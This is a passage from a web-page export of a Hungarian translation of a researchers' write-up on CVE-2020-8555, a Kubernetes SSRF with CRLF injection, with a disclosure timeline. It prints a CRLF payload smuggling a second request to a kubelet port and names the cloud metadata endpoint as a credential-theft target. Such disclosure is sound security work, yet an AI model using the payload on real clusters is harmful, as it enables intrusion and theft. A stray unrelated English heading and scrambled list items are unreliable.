k\u00fcldeni, bele\u00e9rtve a fejl\u00e9c, HTTP-m\u00f3dszer, param\u00e9terek \u00e9s adatok cser\u00e9j\u00e9t, amit a kube-controller-manager ezut\u00e1n feldolgozott.<\/p>\n<p>\u00cdme egy p\u00e9lda egy m\u0171k\u00f6d\u0151 \u00abcsali\u00bb-ra a <code>resturl<\/code> A StorageClass, amely megval\u00f3s\u00edt egy ilyen t\u00e1mad\u00e1si forgat\u00f3k\u00f6nyvet:<\/p>\n<pre><code class=\"plaintext\">http:\/\/172.31.X.1:10255\/healthz? HTTP\/1.1rnConnection: keep-\nalivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET \/pods? HTTP\/1.1rnHost: 172.31.X.1:10255rnrn<\/code><\/pre>\n<p>\nEnnek eredm\u00e9nyek\u00e9nt egy hiba l\u00e9p fel, <b>nem k\u00e9rt v\u00e1lasz<\/b>, az \u00fczenet, amely a vez\u00e9rl\u0151 napl\u00f3iba ker\u00fcl. A gy\u00e1ri be\u00e1ll\u00edt\u00e1s szerint enged\u00e9lyezett \u201eb\u0151besz\u00e9d\u0171s\u00e9g\u201d miatt a v\u00e1lasz HTTP-\u00fczenet tartalma is ott tal\u00e1lhat\u00f3.<\/p>\n<p><img decoding=\"async\" alt=\"Amikor nem csak a Kubernetes sebezhet\u0151s\u00e9ge a gond...\" src=\"\/wp-content\/uploads\/2020\/06\/babd247c620ab19c7b5fc801683c03de.jpeg\" style=\"display:block;margin: 0 auto;\" \/><br \/>\n<br \/>\nEz volt a legeredm\u00e9nyesebb \u201ecsalink\u201d a proof of concept keret\u00e9ben.<\/p>\n<p>Ezzel a megk\u00f6zel\u00edt\u00e9ssel sz\u00e1mos olyan t\u00e1mad\u00e1st hajthattunk v\u00e9gre k\u00fcl\u00f6nb\u00f6z\u0151 managed k8s szolg\u00e1ltat\u00f3k klaszterein, mint p\u00e9ld\u00e1ul: jogosults\u00e1gok felemel\u00e9se az metadata p\u00e9ld\u00e1nyok hiteles\u00edt\u0151 adataihoz val\u00f3 hozz\u00e1f\u00e9r\u00e9ssel, a master DoS t\u00e1mad\u00e1sa (titkos\u00edtatlan) HTTP-k\u00e9r\u00e9sekkel az etcd master p\u00e9ld\u00e1nyain, stb.<\/p>\n<h2>The total downtime lasted 26 minutes. No data was lost. The Ingester nodes successfully uploaded all in-memory data to long-term storage. During the shutdown, client Prometheus servers cached remote<\/h2>\n<p>\nA Kubernetes hivatalos nyilatkozata szerint, amelyben felfedezett SSRF-rosszindulat\u00fa k\u00f3dhez tartoz\u00f3 sebezhet\u0151s\u00e9gr\u0151l van sz\u00f3, az al\u00e1bbi min\u0151s\u00edt\u00e9st kapta: <b>CVSS 6.3\/10<\/b>: CVSS:3.0\/AV:N\/AC:H\/PR:L\/UI:N\/S:C\/C:H\/I:N\/A:N. Ha kiz\u00e1r\u00f3lag a Kubernetes perem\u00e9vel kapcsolatos sebezhet\u0151s\u00e9get vizsg\u00e1ljuk, a integrit\u00e1s vektora <i>(integrity vector)<\/i> a k\u00f6vetkez\u0151k\u00e9ppen min\u0151s\u00fcl: <b>None<\/b>.<\/p>\n<p>Azonban a lehets\u00e9ges k\u00f6vetkezm\u00e9nyek \u00e9rt\u00e9kel\u00e9se a menedzselt szolg\u00e1ltat\u00e1si k\u00f6rnyezetben (\u00e9s ez volt a kutat\u00e1sunk leg\u00e9rdekesebb r\u00e9sze!) arra \u00f6szt\u00f6nz\u00f6tt minket, hogy a sebezhet\u0151s\u00e9get \u00e1tkategoriz\u00e1ljuk <b>Kritikus CVSS10\/10<\/b> sok disztrib\u00fator sz\u00e1m\u00e1ra.<\/p>\n<p>Itt tov\u00e1bbi inform\u00e1ci\u00f3k tal\u00e1lhat\u00f3k, amelyek seg\u00edtenek meg\u00e9rteni, hogy mik\u00e9nt \u00e9rt\u00e9kelt\u00fck a lehets\u00e9ges k\u00f6vetkezm\u00e9nyeket a felh\u0151k\u00f6rnyezetekben:<\/p>\n<h3>Integrit\u00e1s<\/h3>\n<p><\/p>\n<ul>\n<li> T\u00e1vparancs-v\u00e9grehajt\u00e1s a megszerzett bels\u0151 hiteles\u00edt\u0151 adatokkal.<\/li>\n<li> A fent eml\u00edtett forgat\u00f3k\u00f6nyv reproduk\u00e1l\u00e1sa IDOR (Insecure Direct Object Reference, azaz biztons\u00e1gtalan k\u00f6zvetlen hivatkoz\u00e1sok objektumokra) m\u00f3dszerrel m\u00e1s, a helyi h\u00e1l\u00f3zaton felfedezett er\u0151forr\u00e1sokkal.<\/li>\n<\/ul>\n<p><\/p>\n<h3>Adatv\u00e9delem<\/h3>\n<p><\/p>\n<ul>\n<li> Lateral Movement <noindex><a rel=\"nofollow\" href=\"https:\/\/en.wikipedia.org\/wiki\/Network_Lateral_Movement\">t\u00e1mad\u00e1s, amely a felh\u0151 hiteles\u00edt\u0151 adatainak ellop\u00e1s\u00e1val val\u00f3sul meg (p\u00e9ld\u00e1ul metadata API).<\/a><\/noindex> Inform\u00e1ci\u00f3gy\u0171jt\u00e9s a helyi h\u00e1l\u00f3zat szkennel\u00e9s\u00e9vel (SSH verzi\u00f3, HTTP-szerver verzi\u00f3, stb. meghat\u00e1roz\u00e1sa).<\/li>\n<li> Inform\u00e1ci\u00f3gy\u0171jt\u00e9s a p\u00e9ld\u00e1nyokr\u00f3l \u00e9s az infrastrukt\u00far\u00e1r\u00f3l bels\u0151 API-k, p\u00e9ld\u00e1ul a metadata API lek\u00e9rdez\u00e9s\u00e9vel (<\/li>\n<li> \u00dcgyf\u00e9ladatok ellop\u00e1sa felh\u0151hiteles\u00edt\u0151 adatok seg\u00edts\u00e9g\u00e9vel.<code>http:\/\/169.254.169.254<\/code>, \u2026).<\/li>\n<li> Minden, az integrit\u00e1s vektoraival kapcsolatos exploit\u00e1l\u00e1si forgat\u00f3k\u00f6nyv<\/li>\n<\/ul>\n<p><\/p>\n<h3>El\u00e9rhet\u0151s\u00e9g<\/h3>\n<p>\nhaszn\u00e1lhat\u00f3 rombol\u00f3 tev\u00e9kenys\u00e9gekre \u00e9s ahhoz vezethet, hogy a kliens perem\u00e9r\u0151l (vagy b\u00e1rmely m\u00e1s helyr\u0151l) sz\u00e1rmaz\u00f3 master p\u00e9ld\u00e1nyok el\u00e9rhetetlenn\u00e9 v\u00e1lnak. <b>,<\/b>el\u00e9rhetetlens\u00e9get okoz.<\/p>\n<p>Mivel K8s-kezelt k\u00f6rnyezetben voltunk, \u00e9s az integrit\u00e1sra gyakorolt hat\u00e1s\u00e1t \u00e9rt\u00e9kelt\u00fck, sz\u00e1mos olyan forgat\u00f3k\u00f6nyv k\u00e9pzelhet\u0151 el, amelyek befoly\u00e1solhatj\u00e1k a hozz\u00e1f\u00e9rhet\u0151s\u00e9get. P\u00e9ldak\u00e9nt eml\u00edthetj\u00fck az etcd adatb\u00e1zis s\u00e9r\u00fcl\u00e9s\u00e9t vagy egy kritikus API-h\u00edv\u00e1s v\u00e9grehajt\u00e1s\u00e1t a Kuberneteshez.<\/p>\n<h2>Kronol\u00f3gia<\/h2>\n<p><\/p>\n<ul>\n<li> 2019. december 6.: felfedezett sebezhet\u0151s\u00e9g bejelent\u00e9se az MSRC Bug Bounty-n.<\/li>\n<li> 2020. janu\u00e1r 3.: egy harmadik f\u00e9l t\u00e1j\u00e9koztatta a Kubernetes fejleszt\u0151it arr\u00f3l, hogy dolgozunk a biztons\u00e1gi probl\u00e9m\u00e1n. K\u00e9rte, hogy az SSRF-t bels\u0151 (in-core) sebezhet\u0151s\u00e9gk\u00e9nt kezelj\u00e9k. Ezt k\u00f6vet\u0151en beny\u00fajtottunk egy \u00e1tfog\u00f3 jelent\u00e9st a probl\u00e9ma forr\u00e1s\u00e1nak technikai r\u00e9szleteivel.<\/li>\n<li> 2020. janu\u00e1r 15.: technikai \u00e9s \u00f6sszes\u00edtett jelent\u00e9seket ny\u00fajtottunk be a Kubernetes fejleszt\u0151inek k\u00e9r\u00e9s\u00e9re (a HackerOne platformon kereszt\u00fcl).<\/li>\n<li> 2020. janu\u00e1r 15.: a Kubernetes fejleszt\u0151i \u00e9rtes\u00edtettek benn\u00fcnket, hogy a half-blind SSRF + CRLF-injekci\u00f3 a kor\u00e1bbi kiad\u00e1sokban in-core sebezhet\u0151s\u00e9gnek sz\u00e1m\u00edt. Azonnal le\u00e1ll\u00edtottuk a t\u00f6bbi szolg\u00e1ltat\u00f3 hat\u00e1rainak elemz\u00e9s\u00e9t: a kiv\u00e1lt\u00f3 okkal most a K8s csapata foglalkozott.<\/li>\n<li> 2020. janu\u00e1r 15.: az MSRC jutalm\u00e1t a HackerOne-on kaptuk meg.<\/li>\n<li> 2020. janu\u00e1r 16.: a Kubernetes PSC (Term\u00e9kbiztons\u00e1gi Bizotts\u00e1g) elismerte a sebezhet\u0151s\u00e9get, \u00e9s k\u00e9rte, hogy titokban tartsuk m\u00e1rcius k\u00f6zep\u00e9ig, mivel sok potenci\u00e1lis \u00e1ldozat van.<\/li>\n<li> 2020. febru\u00e1r 11.: jutalom \u00e9rkezett a Google VRP-t\u0151l.<\/li>\n<li> 2020. m\u00e1rcius 4.: jutalom \u00e9rkezett a Kubernetes-t\u0151l a HackerOne-on.<\/li>\n<li> 2020. m\u00e1rcius 15.: az eredetileg tervezett nyilv\u00e1nos bejelent\u00e9st a COVID-19 helyzet miatt elhalasztott\u00e1k.<\/li>\n<li> 2020. j\u00fanius 1.: k\u00f6z\u00f6s nyilatkozat a Kubernetes \u00e9s a Microsoft r\u00e9sz\u00e9r\u0151l a sebezhet\u0151s\u00e9gr\u0151l.<\/li>\n<\/ul>\n<p><\/p>\n<h2>R\u00f6viden \u00f6sszefoglalva<\/h2>\n<p><\/p>\n<ul>\n<li> S\u00f6r\u00f6z\u00fcnk \u00e9s pizz\u00e1t esz\u00fcnk \ud83d\ude42<\/li>\n<li> Bels\u0151 sebezhet\u0151s\u00e9get fedezt\u00fcnk fel a Kubernetes-ben, b\u00e1r nem is tervezt\u00fck.<\/li>\n<li> Tov\u00e1bbi elemz\u00e9st v\u00e9gezt\u00fcnk k\u00fcl\u00f6nb\u00f6z\u0151 felh\u0151szolg\u00e1ltat\u00f3k klasztereiben, \u00e9s siker\u00fclt fokozni a sebezhet\u0151s\u00e9g \u00e1ltal okozott k\u00e1rt, hogy tov\u00e1bbi fantasztikus b\u00f3nuszokat szerezz\u00fcnk.<\/li>\n<li> Ebben a cikkben sz\u00e1mos technikai r\u00e9szletet tal\u00e1l. \u00d6r\u00f6mmel megvitatjuk \u00d6nnel (Twitter: <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/reeverzax\">@ReeverZax<\/a><\/noindex> &amp; <noindex><a rel=\"nofollow\" href=\"https:\/\/twitter.com\/__hach_\">@__hach_<\/a><\/noindex>).<\/li>\n<li> Kider\u00fclt, hogy a k\u00fcl\u00f6nf\u00e9le adminisztrat\u00edv feladatok \u00e9s a jelent\u00e9sek elk\u00e9sz\u00edt\u00e9se sokkal t\u00f6bb id\u0151t vesz ig\u00e9nybe, mint v\u00e1rtuk.<\/li>\n<\/ul>\n<p><\/p>\n<h2>Hivatkoz\u00e1sok<\/h2>\n<p><\/p>\n<ul>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/groups.google.com\/g\/kubernetes-security-announce\">Google-csoport: kubernetes-security-announce<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-8555\">CVE-2020-8555<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/golang\/go\/issues\/30794\">golang issue #30794<\/a><\/noindex>;<\/li>\n<li> <noindex><a rel=\"nofollow\" href=\"https:\/\/github.com\/heketi\/heketi\/blob\/6a1ff1a6176e6566894d30ecc714d0643301558d\/client\/api\/go-client\/volume.go#L34\">heketi\/client\/api\/go-client\/volume.go<\/a><\/noindex>.<\/li>\n<\/ul>\n<p><\/p>\n<h2>Fejleszt\u00e9si eszk\u00f6z\u00f6k, amelyek Kubernetesben futnak<\/h2>\n<p>\nOlvasson tov\u00e1bbi inform\u00e1ci\u00f3kat a blogunkban:<\/p>\n<ul>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/485838\/\">A Kubernetes hibavad\u00e1szata hivatalosan elkezd\u0151d\u00f6tt<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/466625\/\">Kil\u00e9p\u00e9s a pod-b\u00f3l Kubernetes-ben a logok csatol\u00e1s\u00e1n kereszt\u00fcl.<\/a><\/noindex>\u00bb;<\/li>\n<li> \u00ab<noindex><a rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/465141\/\">33+ Kubernetes biztons\u00e1gi eszk\u00f6z<\/a><\/noindex>\u00bb.<\/li>\n<\/ul>\n<p>Forr\u00e1s: <a content=\"nofollow\" rel=\"nofollow\" href=\"https:\/\/habr.com\/ru\/company\/flant\/blog\/508308\/\">habr.com<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"<p>\u041f\u0440\u0438\u043c. \u043f\u0435\u0440\u0435\u0432.: \u0430\u0432\u0442\u043e\u0440\u044b \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 \u0432 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u0445 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043e \u0442\u043e\u043c, \u043a\u0430\u043a \u0438\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2020\u20138555 \u0432 Kubernetes. \u0425\u043e\u0442\u044f \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e \u043e\u043d\u0430 \u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0430 \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0439, \u0432 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0438 \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u0444\u0430\u043a\u0442\u043e\u0440\u0430\u043c\u0438 \u0435\u0451 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u0443 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0432\u0430\u0439\u0434\u0435\u0440\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u043e\u0439. \u0417\u0430 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u0443\u044e \u0440\u0430\u0431\u043e\u0442\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0449\u0435\u0434\u0440\u043e \u0432\u043e\u0437\u043d\u0430\u0433\u0440\u0430\u0434\u0438\u043b\u0438 \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0439. \u041a\u0442\u043e \u043c\u044b \u0442\u0430\u043a\u0438\u0435 \u041c\u044b \u2014 \u0434\u0432\u0430 \u0444\u0440\u0430\u043d\u0446\u0443\u0437\u0441\u043a\u0438\u0445 [&hellip;]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":86624,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[688],"tags":[],"class_list":["post-86623","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-administrirovanie"],"aioseo_notices":[],"aioseo_head":"\n\t\t<!-- All in One SEO 5.0.3 - aioseo.com -->\n\t<meta name=\"description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t<meta name=\"robots\" content=\"max-image-preview:large\" \/>\n\t<meta name=\"author\" content=\"Yuri Gagarin\"\/>\n\t<link rel=\"canonical\" href=\"https:\/\/prohoster.info\/hu\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta name=\"generator\" content=\"All in One SEO (AIOSEO) 5.0.3\" \/>\n\t\t<meta property=\"og:locale\" content=\"hu_HU\" \/>\n\t\t<meta property=\"og:site_name\" content=\"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b\" \/>\n\t\t<meta property=\"og:type\" content=\"article\" \/>\n\t\t<meta property=\"og:title\" content=\"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster\" \/>\n\t\t<meta property=\"og:description\" content=\"\u041f\u0440\u0438\u043c.\" \/>\n\t\t<meta property=\"og:url\" content=\"https:\/\/prohoster.info\/hu\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes\" \/>\n\t\t<meta property=\"og:image\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:secure_url\" content=\"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg\" \/>\n\t\t<meta property=\"og:image:width\" content=\"350\" \/>\n\t\t<meta property=\"og:image:height\" content=\"350\" \/>\n\t\t<meta property=\"article:published_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:modified_time\" content=\"2020-06-27T17:42:40+00:00\" \/>\n\t\t<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<meta property=\"article:author\" content=\"https:\/\/www.facebook.com\/prohoster\" \/>\n\t\t<!-- All in One SEO -->\n\n","aioseo_head_json":{"title":"\ud83e\udd47Amikor a k\u00e9rd\u00e9s nem csup\u00e1n a Kubernetes sebezhet\u0151s\u00e9ge... | ProHoster","description":"Megj.","canonical_url":"https:\/\/prohoster.info\/hu\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"hu_HU","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041a\u043e\u0433\u0434\u0430 \u0434\u0435\u043b\u043e \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Kubernetes\u2026 | ProHoster","og:description":"\u041f\u0440\u0438\u043c.","og:url":"https:\/\/prohoster.info\/hu\/blog\/administrirovanie\/kogda-delo-ne-tolko-v-uyazvimosti-v-kubernetes","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-06-27T17:42:40+00:00","article:modified_time":"2020-06-27T17:42:40+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"86623","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 14:11:05","updated":"2022-09-28 21:18:58","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/posts\/86623","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/comments?post=86623"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/posts\/86623\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/media\/86624"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/media?parent=86623"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/categories?post=86623"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/hu\/wp-json\/wp\/v2\/tags?post=86623"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}